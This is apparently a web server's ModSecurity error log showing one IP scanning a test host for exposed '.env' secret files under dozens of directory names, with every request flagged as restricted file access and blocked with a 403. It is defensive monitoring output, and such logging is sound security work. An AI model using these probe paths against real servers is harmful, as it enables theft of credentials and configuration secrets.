[Fri Dec 05 14:58:48.844705 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JggAAAAM&quot;]
[Fri Dec 05 14:58:48.844975 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JggAAAAM&quot;]
[Fri Dec 05 14:58:48.871411 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JgwAAAAM&quot;]
[Fri Dec 05 14:58:48.871651 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JgwAAAAM&quot;]
[Fri Dec 05 14:58:48.871853 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JgwAAAAM&quot;]
[Fri Dec 05 14:58:48.896703 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhAAAAAM&quot;]
[Fri Dec 05 14:58:48.896940 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhAAAAAM&quot;]
[Fri Dec 05 14:58:48.897148 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhAAAAAM&quot;]
[Fri Dec 05 14:58:48.924093 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhQAAAAM&quot;]
[Fri Dec 05 14:58:48.924335 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhQAAAAM&quot;]
[Fri Dec 05 14:58:48.924649 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JhQAAAAM&quot;]
[Fri Dec 05 14:58:50.445966 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aTLlGizhE94da41W-WGIIQAAAH4&quot;]
[Fri Dec 05 14:58:50.446202 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aTLlGizhE94da41W-WGIIQAAAH4&quot;]
[Fri Dec 05 14:58:50.446438 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aTLlGizhE94da41W-WGIIQAAAH4&quot;]
[Fri Dec 05 14:58:53.563850 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aTLlHSzhE94da41W-WGIIgAAAH4&quot;]
[Fri Dec 05 14:58:53.564103 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aTLlHSzhE94da41W-WGIIgAAAH4&quot;]
[Fri Dec 05 14:58:53.564316 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aTLlHSzhE94da41W-WGIIgAAAH4&quot;]
[Fri Dec 05 14:58:58.083502 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aTLlIizhE94da41W-WGIIwAAAH4&quot;]
[Fri Dec 05 14:58:58.083782 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aTLlIizhE94da41W-WGIIwAAAH4&quot;]
[Fri Dec 05 14:58:58.084002 2025] [:error] [pid 531695] [client 45.148.10.247:34910] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aTLlIizhE94da41W-WGIIwAAAH4&quot;]
[Fri Dec 05 14:58:59.353351 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPmwAAAAU&quot;]
[Fri Dec 05 14:58:59.353649 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPmwAAAAU&quot;]
[Fri Dec 05 14:58:59.353927 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPmwAAAAU&quot;]
[Fri Dec 05 14:58:59.378031 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnAAAAAU&quot;]
[Fri Dec 05 14:58:59.378266 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnAAAAAU&quot;]
[Fri Dec 05 14:58:59.378523 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnAAAAAU&quot;]
[Fri Dec 05 14:58:59.400728 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnQAAAAU&quot;]
[Fri Dec 05 14:58:59.400993 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnQAAAAU&quot;]
[Fri Dec 05 14:58:59.401262 2025] [:error] [pid 535952] [client 45.148.10.247:49756] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aTLlI_ITQDoZdzcYGEbPnQAAAAU&quot;]
[Fri Dec 05 14:58:59.469904 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRagAAAIA&quot;]
[Fri Dec 05 14:58:59.470136 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRagAAAIA&quot;]
[Fri Dec 05 14:58:59.470389 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRagAAAIA&quot;]
[Fri Dec 05 14:58:59.493395 2025] [:error] [pid 531697] [client 45.148.10.247:49762] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aTLlI-qgQSN2J6Cu49vRawAAAIA&quot;]
